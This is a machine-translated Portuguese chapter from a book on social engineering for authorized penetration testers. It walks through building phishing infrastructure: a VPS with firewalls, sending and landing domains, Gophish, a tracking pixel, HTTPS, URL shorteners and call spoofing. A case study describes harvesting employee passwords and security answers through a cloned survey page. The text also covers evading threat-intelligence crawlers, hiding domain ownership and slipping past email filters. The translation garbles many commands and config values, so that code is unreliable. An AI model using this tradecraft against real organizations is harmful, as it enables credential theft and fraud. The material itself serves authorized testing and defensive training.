Configurando o acesso remoto macOS ou Linux ao VPS

Se você estiver acessando o VPS a partir de um sistema operacional macOS ou Linux, primeiro
terá que copiar a chave privada RSA, via SCP ou copiar e colar.
Você pode fazer isso a partir do terminal. Emita o seguinte comando para copiar a chave (eu
censurei o endereço IP neste exemplo):

root@******:~/.ssh# scp root@***.***.***.***:/ root/.ssh/id_rsa ./id_rsa

Se você estiver usando uma ferramenta de acesso remoto como Termius, uma solução
paga que permite salvar sessões SSH, você não precisará copiar o arquivo, mas precisará
copiar e colar o conteúdo do arquivo em seu chaveiro. Para fazer isso, execute o seguinte
comando:

root@******:~#cat ./.ssh/id_rsa

Se estiver usando um terminal para conectar via SSH, execute o seguinte comando para
obter acesso:

root@******:~# chmod 600 id_rsa


root@******:~# ssh -i id_rsa root@***.***.***.***

Se tudo funcionar corretamente, você verá um prompt no VPS mostrando o último


login e todos os pacotes a serem atualizados. Se a chave não estiver configurada corretamente,
você verá um erro indicando o que deu errado.

Desativando a autenticação baseada em

senha Agora que você está conectado, tome medidas para garantir que seu VPS
permaneça seguro. Primeiro, remova a capacidade de fazer login no próprio sistema
usando uma senha. (Isso não afetará nenhum aplicativo da Web que você instalar
posteriormente.) Qualquer pessoa que fizer login neste VPS precisará da chave privada RSA,
que é extremamente difícil (se não impossível) de força bruta, ao contrário das senhas.
Certifique-se de que o arquivo authorised_keys contenha a chave pública que você criou
anteriormente executando o seguinte comando:

root@******:~# cat id_rsa.pub >> ./.ssh/authorized_keys

Agora, abra o arquivo sshd_config em um editor de texto e altere


#PasswordAuthentication sim para PasswordAuthentication não.
Para isso, execute o seguinte comando:

root@******:vi /etc/ssh/sshd_config

Phishing 89
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Salve o arquivo; em seguida, reinicie o SSH. Você precisará definir a chave em seu
Comando ssh para conectar ao VPS:

root@******:chmod 600 key_file


root@******:ssh -I arquivo_chave usuário@ endereço IP VPS

Em seguida, insira sua frase secreta, caso tenha criado uma.

Instalando um Firewall

Em seguida, você precisa de um firewall para limitar as portas no VPS que um aplicativo pode
acessar e os hosts que podem acessar o VPS. Isso evitará que bots de varredura de vulnerabilidade e
invasores se conectem ao VPS, evitando danos colaterais. Instale o Uncomplicated Firewall (ufw) se
ainda não estiver instalado:

root@******:apt-get install ufw

Agora certifique-se de que você pode acessar o firewall emitindo ufw enable. As etapas a
seguir criam novas regras para controlar o fluxo de dados dentro e fora do seu VPS:

root@******:ufw permite do seu endereço IP para qualquer


root@******:ufw permite de qualquer um para o seu endereço IP
root@******:ufw ativar

Você pode executar o firewall em uma porta específica, em oposição a todas as portas,
adicionando o número da porta ao endereço IP para origem ou destino.
Para configurar o firewall, faça login na DigitalOcean e navegue até o menu Net working no
painel esquerdo. Em seguida, selecione Firewalls. Se você já possui um firewall conectado à
DigitalOcean, selecione-o na lista, conforme mostrado na Figura 7-5.

Figura 7-5: Configurando um firewall da DigitalOcean

90 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Se você ainda não possui um firewall, clique no botão verde Criar e escolha Firewall
no menu suspenso. Isso deve levá-lo a uma página, mostrada na Figura 7-6, que solicita a
criação de regras de entrada. Uma regra de entrada determina como o VPS irá interagir com
as conexões que chegam a ele. Uma regra de saída determina como o VPS se comportará
ao tentar se conectar a outros hosts, às vezes também chamado de filtragem de saída.

Figura 7-6: Criando um firewall DigitalOcean

Como você pode usar esse host para phishing, provavelmente deseja que o
servidor da Web seja acessível publicamente. Dependendo do seu contrato com o cliente,
você pode querer restringir isso aos hosts em seus intervalos de IP. Também é uma boa
ideia limitar os intervalos de IP se você estiver usando o servidor para hospedar scripts
maliciosos para uso em seu phishing. Isso impediria que os rastreadores da Web e as
empresas de inteligência de ameaças rastreassem seu site e o encontrassem - uma maneira
rápida de acabar em listas negras e em feeds de inteligência de ameaças ingeridos por
sistemas de detecção de intrusão, programas SIEM e outras tecnologias defensivas.
Para fornecer acesso apenas a um intervalo específico de endereços IP ao seu
servidor, crie uma regra de entrada para HTTP na porta TCP 80 e HTTPS na porta TCP
443, aceitando conexões de entrada de Todos os IPv4 e Todos os IPv6 , a menos que
as condições anteriores se apliquem. Certifique-se de criar uma regra de entrada que
permita que você se conecte ao host usando SSH de qualquer endereço IP que você usar.

A imagem do sistema do seu provedor VPS pode não estar totalmente atualizada.
Para atualizar um sistema Linux, execute os seguintes comandos:

apt-get update -y; apt-get upgrade -y; apt-get dist-upgrade

Phishing 91
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

O comando apt-get update fornece uma lista dos pacotes atualizados, apt-get upgrade
executa as atualizações e apt-get dist-upgrade atualiza o kernel, bem como as
dependências de software. A opção -y responde sim à maioria dos prompts que você pode
receber.

Escolhendo uma plataforma de


e-mail Agora que você tem o VPS, precisa escolher qual serviço usará para realmente
enviar seu e-mail. Embora você possa usar uma conta de e-mail gratuita do Yahoo! ou
Gmail, isso pode levantar suspeitas se você estiver se passando por uma figura autoritária.
Contas de e-mail gratuitas podem funcionar para certos ataques, como aqueles direcionados
ao RH, nos quais você finge ser um candidato a contratar. Na maioria dos casos, porém, é
melhor usar um domínio que não seja gratuito e, portanto, você precisará configurar um
servidor de e-mail.
Os serviços disponíveis utilizam vários protocolos para envio de correspondência, cada um com seu
forças e fraquezas. Em termos de escolha de protocolos, a postagem do blog “Managed
File Transfer and Network Solutions” de John Carl Villanueva (http:// jscape.com/ blog/
smtp-vs-imap-vs-pop3-difference/) é um recurso abrangente. Os protocolos de e-mail
incluem o seguinte:

Protocolo Simples de Transferência de Correio (SMTP)

Definido no RFC 5321. Usa a porta 25 por padrão. Também pode usar a porta 587 e
a porta 465.

Internet Message Access Protocol (IMAP)

Definido no RFC 3501. Usa a porta 143 (ou 993 para conexões SSL/TLS).

Post Office Protocol v3 (POP3)

Definido no RFC 1939. Usa a porta 110 (ou 995 para conexões SSL/TLS).

Se você planeja falsificar seu e-mail, deve usar o SMTP. POP3 e IMAP4 não suportam
spoofing, mas funcionarão com squatting. Se você tiver autonomia para decidir qual servidor
de e-mail usar, poderá usar uma das seguintes opções:

pombal

Um servidor de e-mail IMAP e POP3 de código aberto para sistemas semelhantes


a Linux/Unix. É leve, o que significa que usa pouca memória e não requer muito
processamento. Como acontece com qualquer software, você deve manter uma
configuração segura e manter o sistema atualizado para permanecer seguro. Se você
estiver fazendo pequenos volumes esporádicos de phishing, essa manutenção pode
não valer o esforço e o tempo, mesmo que o software seja gratuito.
Se você estiver usando phishing de um grande pool de domínios ou enviando e-
mails várias vezes ao dia, essa pode ser uma solução mais econômica. Como o
Dovecot não oferece suporte a SMTP, ele não oferece suporte à falsificação. Você
pode usar Dovecot para ataques de agachamento.

92 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Enviar correio

Um dos clientes originais de correio da Internet, lançado pela primeira vez em 1983. Ele implementa
SMTP e atualmente é mantido pelo Sendmail Consortium e Proofpoint, uma empresa de
conscientização e prevenção de phishing. As mesmas considerações que são relevantes para o
Dovecot existem com o Sendmail.

Embora o Sendmail seja um software de código aberto, seus mantenedores tentam impedir o
phishing, o que pode deixar alguns engenheiros sociais desconfortáveis. Como o Sendmail usa
SMTP, você pode usá-lo para spoofing ou squatting.

Nuvem E-mail

O Microsoft 365 é o serviço de e-mail baseado em nuvem da Microsoft e o Google Workspace


é o e-mail corporativo baseado em nuvem do Google. Ambos os serviços são cobrados por
usuário, por mês ou por ano e podem ser acessados de qualquer lugar com conexão à Internet.
Ambos os serviços oferecem suporte a SMTP, POP3 e IMAP4, embora o padrão seja IMAP. Você
pode vincular o Microsoft 365 ou o Google Workspace a qualquer domínio de sua propriedade, para
que eles funcionem para ocupações, mas não para falsificação.

Correio do Google (Gmail)

Na minha experiência, o Google não permite que você envie malware (mesmo documentos
do Office habilitados para macro) por e-mail ou Google Drive. No entanto, o Google não irá
desligá-lo se você fizer phishing. No momento da redação deste artigo, você pode obter acesso
ao Google Workspace para seus domínios por meio de Namecheap, Bluehost, SiteGround ou
GoDaddy por cerca de US$ 6 por usuário por mês. A maioria dos domínios de phishing é usada com
base em burn-and-churn, o que significa que eles são usados para uma instância de phishing por
cliente. Se você for a única pessoa fazendo phishing, precisará pagar por apenas um usuário. Se for
esse o caso, você provavelmente não pagará mais de US$ 6 por cliente por um envolvimento de
phishing.

OBSERVAÇÃO Tecnicamente, usar esses provedores de nuvem como parte de ações de phishing é uma violação
de seus Termos de Serviço. Estabeleça um plano de contingência se você for pego e banido.

Ao selecionar uma dessas opções, mantenha as seguintes considerações


em mente. Primeiro, o spoofing é fácil de detectar e muitos sistemas de correio têm lógica para detectá-
lo. Além disso, vários aplicativos independentes dos sistemas de e-mail, como Exchange, Proofpoint e
Mimecast, podem validar e-mails e impedir falsificações. Por outro lado, mesmo que seu alvo implemente
ferramentas anti-phishing como Sender Policy Framework (SPF), Domain Keys Identified Mail (DKIM)
ou Domain-based Message Authentication, Reporting, and Conformance (DMARC), você ainda pode
executar erros de digitação com sucesso e agachamento de domínio. SPF, DKIM e DMARC são soluções
técnicas que visam prevenir a falsificação. Na realidade, se implementados, eles evitam que outras partes
falsifiquem seu domínio, então vale a pena implementá-los para sua reputação, mas eles fazem pouco para
evitar o spoofing de sua organização.

Phishing 93
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A ocupação também pode contornar tecnologias, como o Mimecast, que tentam


pegue e-mails de phishing observando as estatísticas nos próprios e-mails, bem como a
idade e a reputação do domínio que está enviando o e-mail. Se o domínio de envio não tiver
má reputação ou usar linguagem consistente com phishing, você poderá passar por esses filtros,
a menos que os administradores tenham configurado regras específicas. Mesmo que o destino
tenha SPF ou outra solução, enviar o e-mail usando serviços em nuvem, como o Google Mail
(para domínios) e o Microsoft 365, geralmente ignora seus filtros, pois os servidores de e-mail
do Google e da Microsoft são quase universalmente confiáveis.

Em terceiro lugar, as soluções automatizadas de phishing têm vários métodos para integrar
em serviços de e-mail como Dovecot, Sendmail ou provedores de nuvem. No entanto,
soluções automatizadas podem colocar código, marcas d'água ou assinaturas no e-mail que os
filtros e outras tecnologias defensivas para e-mail podem detectar.
Antes de configurar um servidor de e-mail, você precisa criar regras de firewall na
DigitalOcean para ele e atualizar o UFW em seu droplet com informações sobre os protocolos
(seja SMTP, IMAP ou POP3) que você está usando para permitir as comunicações. Use as
etapas em “Configurando o servidor da Web de phishing e infraestrutura” na página 90 para
criar as regras de firewall para o servidor de e-mail de sua escolha.

Compra de domínios de envio e página de destino


Em seguida, você precisa comprar dois domínios: um para hospedar a página de destino,
que é para onde você redirecionará as vítimas que clicarem no link do seu e-mail, e outro para
hospedar o site de onde você enviará o e-mail de phishing. O domínio da página de destino
pode ser barato, como os domínios .tech ou .info de 88 centavos . Você aplicará um nome de
subdomínio longo ao link, portanto, torná-lo legítimo é menos crítico.

O domínio que você usará para enviar o e-mail precisa ser um dos domínios de nível
superior mais conhecidos, como .com, .net, .org, .io ou .us. Minha principal recomendação é
garantir que você compre um com privacidade de domínio habilitada, que .us
domínios não permitem. Privacidade de domínio é um serviço oferecido por registradores de
domínio que permite que você coloque dados anônimos como informações de contato WHOIS
do seu domínio. Dessa forma, as pessoas não poderão vinculá-lo ao domínio. Caso ocorra algo
que exija que você seja notificado, o registrador atuará como intermediário entre você e o
remetente. Você não quer que você ou seus nomes de empregadores sejam associados a um
domínio de phishing, ou os profissionais de inteligência de ameaças irão cavar incansavelmente
e enumerar todos os seus domínios e sites.
Depois de obter o domínio do qual você fará o phishing, anexe-o à plataforma de e-mail de
sua escolha em sua plataforma de hospedagem e siga as instruções para obter acesso a ele. Se
você estiver fazendo um envolvimento de phishing mais avançado, considere a implementação
de um controle de e-mail técnico (como SPF, DKIM ou DMARC) em seu domínio, pois você estará
ocupando em vez de falsificar.

Configurando o servidor da Web de phishing e infraestrutura


Agora que você tem a instância VPS e o serviço de e-mail, você deve configurar o servidor
da Web que receberá as conexões de entrada, coletará credenciais, hospedará scripts
maliciosos e executará qualquer outra coisa necessária para ser

94 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

bem sucedido para o seu ataque particular. Nesta seção, mostrarei como usar o
Apache, um pacote de software de servidor da Web gratuito e de código aberto. O
Apache é bem documentado e bastante simples de usar.
Para instalar o Apache, execute os seguintes comandos:

root@********:~# apt-get update -y


root@********:~# apt-get install apache2 -y

Quando a instalação estiver concluída, verifique se o Apache está na lista UFW


de processos/serviços permitidos digitando o seguinte comando:

lista de aplicativos ufw

Agora, você precisa minimizar o intervalo de endereços IP que podem acessar a


instância do Apache para impedir que terceiros acessem seu servidor. Eu recomendo
permitir o endereço IP do qual você se conectará ao VPS, qualquer endereço IP de
teste ou garantia de qualidade e o intervalo de IP da sua organização de destino
(idealmente, fornecido por escrito pelo seu ponto de contato de segurança no contrato).
Para restringir seu servidor a este intervalo, execute os seguintes comandos:

ufw permite do endereço IP ou CIDR para qualquer porta da web; 80 ou 443


ufw habilitar

Verifique o status usando o comando ufw status :

root@********:~# ufw status


Estado: ativo
Para Ação A partir de

-- ------ ----

Qualquer PERMITIR ***.***.***.***


lugar ***.***.***.*** PERMITIR Qualquer
22 PERMITIR lugar ***.***.***.***

Agora que a instalação está concluída, desligue o Apache por enquanto com
estes comandos:

root@********:~# parada do apache2 do serviço


root@********:~# systemctl stop apache2

Você ainda pode fazer as alterações de configuração, vincular domínios e executar


outras tarefas de limpeza sem o Apache em execução. Desligar o Apache minimiza a
possibilidade de que o servidor seja detectado em varreduras de segurança ou spidering.

No Capítulo 8, você clonará uma página inicial realista para hospedar neste servidor.

Etapas adicionais para phishing


As etapas discutidas nesta seção não são obrigatórias para um bom phishing, mas
fornecem serviços que os clientes podem solicitar ocasionalmente.

Phishing 95
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Usando pixels de rastreamento para medir a frequência com que seu e-mail é aberto

Se você estiver fazendo um teste não automatizado, como o descrito até agora neste capítulo,
talvez precise de um meio de ver quantas pessoas abrem seu e-mail.
Você pode fazer isso facilmente com rastreamento de pixels, que geralmente são imagens de
1 pixel por 1 pixel exclusivas para cada usuário e renderizadas de um site remoto de sua
propriedade. Você pode observar os logs de acesso para instâncias de cada ID conectando-se
ao servidor.
Adicione o seguinte trecho de HTML ao seu e-mail para configurar um pixel de
rastreamento:

<img src="http://www.your site/tracker.php?eid=unique-id" alt="" width="1px" height="1px"”>

Crie o arquivo que irá monitorar o pixel de rastreamento, tracker.php. Deveria


veja algo assim:

<?php
// Cria uma imagem, 1x1 pixel de tamanho
$im=imagecreate(1,1);
// Define a cor de fundo
$white=imagecolorallocate($im,255,255,255);
// Aloca a cor de fundo
imagesetpixel($im,1,1,$branco);
// Define o tipo de imagem
header("tipo de conteúdo:imagem/jpg");
// Cria um arquivo JPEG a partir da imagem
imagejpeg($im);
// Libera memória associada à imagem
imagedestroy($im);
?>

Pixels de rastreamento são frequentemente usados em marketing e vendas. No


phishing, eles podem criar dores de cabeça e perder tempo para quem perpetra o ataque.
As soluções automatizadas os incorporam. O número de e-mails abertos é uma métrica
exagerada em phishing. Fazer com que as vítimas relatem que receberam um e-mail de
phishing ou agiram de acordo com um é muito mais importante do que quantas pessoas
abriram um e-mail.

Automatizando Phishing com Gophish

Uma solução automatizada de phishing é um serviço que permite desenvolver um phishing e


enviá-lo por meio de um sistema automatizado, como uma interface de e-mail integrada. A
solução geralmente monitora informações como o número de vezes que o phishing foi aberto e
por quem, o número de vezes que a vítima clicou em um link no e-mail e a hora em que cada
evento ocorreu. Esses serviços são convenientes de usar e, às vezes, são a opção mais
econômica.
No entanto, por serem bem conhecidos, os phishes enviados por eles provavelmente serão
capturados e desativados.
Nesta seção, mostrarei como enviar e-mails de phishing com Gophish,
um utilitário de phishing automatizado escrito na linguagem Go. Para usá-lo, você precisa
ter um servidor SMTP para enviar o e-mail e um servidor web

96 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

em que as vítimas vão pousar. Embora você possa criar ambos dentro do Gophish, isso pode
aumentar suas chances de detecção. Sugiro configurar estas três regras de firewall para evitar
a detecção ou danos colaterais:

1. Permita a porta 3333/TCP (a porta para a interface de administração da web Gophish) e a


porta 22 (a porta SSH) somente de sua rede.
2. Permita a porta 80/TCP (a porta padrão para sua página inicial, embora você possa usar a porta
443 com um certificado SSL/TLS para obter mais realismo) de sua rede e apenas dos
intervalos de IP da vítima.
3. Permita a porta 25/TCP (a porta para o tráfego SMTP) no direcionamento de saída
ção apenas.

Para definir essas regras no UFW, execute os seguintes comandos:

ufw permite do seu endereço IP para qualquer porta 3333


ufw permitir de seu endereço IP, endereço IP de controle de qualidade e/ ou faixa de IP de destino/ CIDR para qualquer porta 80
(443 se estiver usando HTTPS) ufw permitir de qualquer porta 25 para qualquer

ufw habilitar

Agora, vamos instalar o Gophish:

cd /opt/
git clone https://github.com/gophish/gophish
cd gophish
apt-get install golang -y
acesse github.com/gophish/gophish
vá construir

Configure o Gophish para ouvir no endereço IP público ou privado que você usará para
se conectar a ele:

root@********:/opt/gophish# vi config.json

Em config.json, altere admin_server listen_url para o endereço IP do VPS do qual você


está administrando o phish. Em seguida, altere phish_
server listen_url para o endereço IP ou nome de domínio para o qual você está enviando as
vítimas:

"admin_server": {
"listen_url": "127.0.0.1:3333",
"use_tls": verdadeiro,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:80",
"use_tls": falso,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",

Phishing 97
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"endereço de contato": "",
"exploração madeireira": {
"nome do arquivo": ""
}
}

Certifique-se de alterar a senha do administrador após fazer login. As credenciais padrão


para Gophish são as seguintes:

Nome de usuário: administrador

Senha: gophish

Eu recomendo ir ao menu Configurações no painel esquerdo e alterar


digitando sua senha imediatamente. Mesmo se você for o único acessando o Gophish, crie
um novo usuário. Se várias pessoas fizerem login nessa conta, você deverá criar usuários
distintos. Para fazer isso, clique na guia Usuários , selecione Novo usuário e preencha o
formulário na página.
Em seguida, você precisa de um lugar para enviar as vítimas. Você cria isso através do Landing
Guia Pages , em New Landing Page (Figura 7-7).

Figura 7-7: Configurando uma nova página inicial no Gophish

98 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Você pode criar a página de destino do zero ou copiar e colar o


HTML de outra página para isso.
Em seguida, você precisa saber quem está fingindo ser ao enviar os e-mails de
phishing e qual servidor de e-mail (no formato ip_address:port ) precisa enviar o e-
mail. Você pode configurar isso na guia Sending Profiles , em New Sending Profile
(Figura 7-8).

Figura 7-8: Configurando um novo perfil de envio no Gophish

Agora você sabe quem está enviando o e-mail, como ele está chegando ao
seu destino e o que você deseja que ele faça. É hora de criar o e-mail real. Uma
maneira de fazer isso é importar um e-mail existente — digamos, um e-mail que Erica,
do RH, recebeu há duas semanas — e usá-lo como modelo. O Gophish usará o
formato, estilo e idioma do e-mail que você importar. Você pode configurar isso na
guia Modelos de e-mail em Novo modelo de e-mail (Figura 7-9).

Phishing 99
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 7-9: Configurando um novo modelo de e-mail no Gophish

Você tem tudo o que precisa. Vamos organizá-lo em uma campanha, que
junta todas as peças em que você trabalhou para enviar aos clientes. Você pode configurar
isso na guia Campanhas , em Nova campanha (Figura 7-10).

Figura 7-10: Configurando uma campanha no Gophish

Depois de preencher este formulário, tudo o que você precisa fazer é lançar a campanha
e aguarde os resultados.

100 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Adicionando suporte HTTPS para páginas de destino de phishing

Alguns usuários procuram o cadeado verde associado a sites HTTPS como um teste decisivo
para ver se um site não faz parte de um ataque de phishing. Os invasores perceberam e
começaram a usar HTTPS em seus sites. Através do uso do Let's Encrypt, podemos fazer o
mesmo gratuitamente e oferecer aos nossos clientes uma experiência mais realista.

Let's Encrypt é uma autoridade de certificação (CA) gratuita, automatizada e aberta,


executada para o benefício do público. É um serviço fornecido pelo Internet Security Research
Group (ISRG) e é um excelente método para implementar HTTPS (de graça!). Vamos instalar
o Let's Encrypt for Gophish:

root@*********:~# cd /opt/
root@*********:~# wget https://dl.eff.org/certbot-auto
root@*********:~# chmod a+x certbot-auto
root@*********:~# ./certbot-auto certonly -d {seu domínio} --manual --preferred -challenges dns

Quando a instalação estiver concluída, siga as instruções na tela para concluir todas as
verificações no DNS e concluir a configuração.
O processo é semelhante se você estiver configurando manualmente seu ataque
de phishing. (Observe que a configuração não será renovada automaticamente. Você terá
que executar o script para renovar isso a cada três meses, supondo que você deixe por
tanto tempo.)

root@********:~# apt-get install git


root@********:~# git clone https://github.com/letsencrypt/letsencrypt /opt/letsencrypt
root@********:~# cd /opt/letsencrypt
root@********:~# sudo -H ./letsencrypt-auto certonly --standalone -d example.com -d www
.example.com

Após esta série de comandos, você será solicitado a inserir algumas informações.
Depois que todas as verificações tiverem ocorrido, execute este comando para verificar a
instalação:

sudo ls /etc/letsencrypt/live

Usando encurtadores de URL em phishing

Encurtadores de URL (como Bitly) podem tornar a página de destino menos obviamente
reconhecível. Ao decidir usá-los, considere o nível percebido de dificuldade do envolvimento
de phishing e a maturidade da organização-alvo. Algumas organizações tentam filtrar URLs
abreviadas de e-mails e outras treinam os usuários para evitar esses links. O uso de
encurtadores deve ser discutido com seu ponto de contato de segurança. Se você optar por
usá-los, entenda que eles podem ser removidos dos e-mails.

Phishing 101
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Usando SpoofCard para falsificação de


chamadas A única arquitetura necessária para um ataque de vishing é uma plataforma de
falsificação de chamadas e, se for legal na área do seu alvo, um meio de gravar a chamada.

AVISO Seja cauteloso e certifique-se de ter toda a autoridade adequada para gravar chamadas. Você não quer
ser o assunto de um estudo de caso em um livro sobre engenharia social. Em caso de dúvida,
procure aconselhamento jurídico profissional.

SpoofCard é um aplicativo móvel que permite falsificar números, ligar


eles, gravá-los e até injetar ruídos de fundo na chamada. O aplicativo em si é gratuito, mas
você precisa comprar créditos para usá-lo.

Considerações de Prazo e Entrega


Agora que você configurou seu ataque, você precisa de fato entregá-lo. Antes de fazer
isso, você deve levar em consideração dois fatores relacionados ao tempo.
A primeira é quanto tempo você tem entre preparar a arquitetura e realizar o trabalho
em si. A quantidade de tempo que você dedicar ao projeto indicará a probabilidade de ser
pego usando controles técnicos, como filtros de e-mail ou feeds de inteligência de ameaças.
Um projeto apressado provavelmente será fácil de detectar, mas se o cliente quiser algo
mais avançado, você precisa ter tempo para fazer a pesquisa apropriada sobre o jargão e a
cultura da empresa, bem como as tecnologias que eles usam, para que você possa parecer
um insider com acesso autorizado quando você envia a campanha.

A linha de fundo? Não se apresse se não for necessário. Às vezes, seus clientes precisam
que você aja rapidamente, mas isso deve ser a exceção, não o padrão.

Em segundo lugar, escolha o dia e a hora para executar o noivado com cuidado.
Escolher o momento adequado exige pesquisa. Por exemplo, se você for vishing, poderá
bloquear seu número e silenciar sua linha e, em seguida, ligar no mesmo horário no mesmo
dia da semana todas as semanas por algumas semanas antes do noivado, para ver quem
atenderá. Preste atenção também se você está realizando seu engajamento durante o horário
de trabalho. Se você está se passando por um funcionário, independentemente de estar
falsificando ou ocupando, qual é o horário e os padrões de trabalho dessa pessoa? Se,
durante um ataque de phishing, você se passar por uma pessoa que trabalha em turnos de
10 horas, das 6h às 17h, de segunda a quinta-feira, enviando seu e-mail às 17h45 em
qualquer dia - ou, pior, no Sexta-feira - provavelmente não é uma boa ideia.

Estudo de caso: o Phish persistente avançado de US$ 25


Esta é a história de como eu phishing uma organização de forma criativa e por um preço
relativamente pequeno. Ao fazer isso, consegui enviar um phishing de alta qualidade,
contornar as defesas técnicas da organização e chegar às caixas de entrada de funcionários
inocentes.

102 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Na chamada de escopo para esse compromisso, meu ponto de contato na


empresa-alvo mencionou que o CEO se aposentaria nas próximas duas semanas e
que o COO assumiria. Com base nessas informações, elaborei um plano. Quando
compartilhei minha ideia com o ponto de contato, ele me chamou de louco desonesto
e aprovou. Hora de começar a fazer este trabalho!

Para configurar meu ataque de phishing, segui o processo descrito neste


capítulo. Primeiro, criei uma gota da DigitalOcean. Como esse foi um engajamento
curto com 150 alvos, não precisei de um droplet enorme com muito espaço ou
poder de processamento, então me inscrevi para um droplet de US$ 5. Como a
DigitalOcean cobra por hora, e o custo é pago no final do mês, não gastei nada até
agora. Custo total: $ 0.
A programação para este ataque não me deu muito tempo para coletar OSINT
usando os métodos discutidos nos Capítulos 5 e 6. Em vez disso, dediquei meu
esforço a enumerar os domínios da empresa-alvo, registrar nomes de funcionários
pertinentes e encontrar citações diretas do CEO e COO no site da empresa, em jornais
comerciais e na imprensa lançamentos.
O próximo passo foi comprar os domínios da página de envio e destino. O
domínio de destino tinha um domínio de nível superior .com , então comprei o nome
de domínio .us correspondente. Isso custou cerca de $ 12, porque eu tinha um código
promocional para a empresa de registro de domínio Namecheap. Em seguida, comprei
algo como surveysofsatisfaction.life para o domínio da web. O domínio barato me
custou 88 centavos. Assinei os aplicativos do Google para o domínio de e-mail por US$
5 por mês. Custo total: US$ 17,88.
Eu configurei o domínio da web para resolver o endereço IP do meu droplet.
Em seguida, instalei um certificado Let's Encrypt TLS/HTTPS no domínio gratuitamente.
Usei o HTTrack para obter um clone perfeito do SurveyMonkey (como você fará no
Capítulo 8) e, em seguida, adicionei um logotipo de alta resolução do site de destino à
página.
Configurei a página de destino para resolver para https:// <nome da empresa de
destino>. surveysofsatisfaction.life, fazendo parecer que a empresa-alvo tinha seu
próprio subdomínio no site da pesquisa. Mais uma vez, usei o logotipo da SurveyMonkey
e da empresa-alvo. Também adicionei prompts para os usuários enviarem seus
endereços de e-mail e senhas e, em seguida, passei essas credenciais para o log do
Apache em uma solicitação HTTP GET.
Em uma segunda página, estabeleci perguntas comuns de redefinição de senha:
nome de solteira da mãe, primeira escola, local da lua de mel e nome da escola
primária. Passei essa informação para o log da mesma forma.
Por fim, criei uma terceira página que dizia: “Desculpe, esta pesquisa está
encerrada” e iniciei um loop infinito. O loop foi inicialmente um erro de codificação,
mas optei por deixar uma dica para os funcionários-alvo de que essa não era uma
pesquisa legítima.
Em seguida, escrevi o e-mail usando citações diretas do CEO e do COO.
Também descobri um termo específico, Proprietário-Associado, que a empresa usava
para se referir a seus funcionários, então também o usei. Eu escolhi enviar o phish se
passando por COO. Consegui enviar a ele um e-mail de uma conta aleatória e obtive
sua assinatura de e-mail em sua resposta de ausência temporária.

Phishing 103
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

O e-mail dizia algo no sentido disso:


Prezados Sócios Proprietários:

Como você sabe, estarei substituindo Steve como CEO na próxima semana, após 37
anos de serviço dedicado, altruísta e devotado. Estes são sapatos enormes para
preencher, mas farei o meu melhor. <Insira aqui a citação direta do COO>.

Ao longo dos anos, tivemos altos e baixos e procuramos fazer melhor. Eu planejo
<pontos retirados de um comunicado de imprensa>. Como diz Steve, <citação direta
das entrevistas de mídia do CEO cessante sobre sua aposentadoria>.

Como alguns de vocês sabem, estou comprometido com a melhoria constante dos
processos para clientes, parceiros, fornecedores e, o mais importante, Proprietários-
Associados. É por isso que colaborei com o RH para configurar uma pesquisa da
SurveyMonkey para melhorar todos os aspectos da <Nome da empresa>. Use o link
abaixo para concluir esta pesquisa até o fechamento dos negócios na sexta-feira.

<Link do Bitly para domínio da Web>

<Assinatura roubada da resposta de ausência temporária>

Confirmei com meu ponto de contato que o phishing parecia aceitável e


recebi luz verde para prosseguir. Enviei o e-mail dos aplicativos do Google em
lotes de cerca de 10 a 20 por vez, a cada 5 a 10 minutos, para não disparar
nenhum alarme em potencial. Embora meus e-mails tenham sido eventualmente
bloqueados, consegui enviar o suficiente para receber inúmeras entradas de
pesquisa do endereço IP do alvo.
Deixei o site no ar por uma semana e verifiquei as informações na segunda-
feira seguinte e vi que havia recebido mais comentários dos funcionários.
Um funcionário inseriu informações várias vezes com uma nova senha.
Coordenei com o ponto de contato para encerrar o noivado. Guardei a gota
por mais uma semana para o caso de ele querer mais informações. Coletei
métricas, controlando as respostas fora do escritório e os e-mails não enviados
(discutiremos a coleta de métricas no Capítulo 9). Pelo contrato, eu não tinha
permissão para fornecer a ele as senhas digitadas, apenas os nomes dos
funcionários que inseriram suas senhas. Fiz backups das páginas da Web e do log
do Apache para retenção e excluí o droplet. Um total de duas semanas se
passaram. Custo total: US$ 22,88.
No 29º dia da assinatura, entrei no e-mail do qual
Enviei o phishing para verificar se não havia nada de valor e cancelei o
serviço. Um funcionário adicionou esse endereço de e-mail a vários e-mails e
listas de mala direta altamente confidenciais. Impagável. Aconselhei meu ponto
de contato imediatamente e encaminhei os e-mails para ele. Escrevi o relatório e
terminei o noivado.
Esse grande phishing poderia ter sido desastroso se eu fosse um verdadeiro mau
ator e me custou menos de US$ 25.

104 Capítulo 7
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Com base nas informações que forneci, como esse ataque poderia ter sido
mitigado ou evitado?

•A empresa deveria ter treinado todos os usuários sobre como avaliar e-mails para
contextos suspeitos. Ensine-os a pedir ajuda ao segurança em caso de dúvida,
especialmente quando URLs abreviados estão envolvidos.
•A empresa deveria ter implementado o Proofpoint ou uma solução semelhante para
adicionar a palavra [Externo] no início da linha de assunto do e-mail.

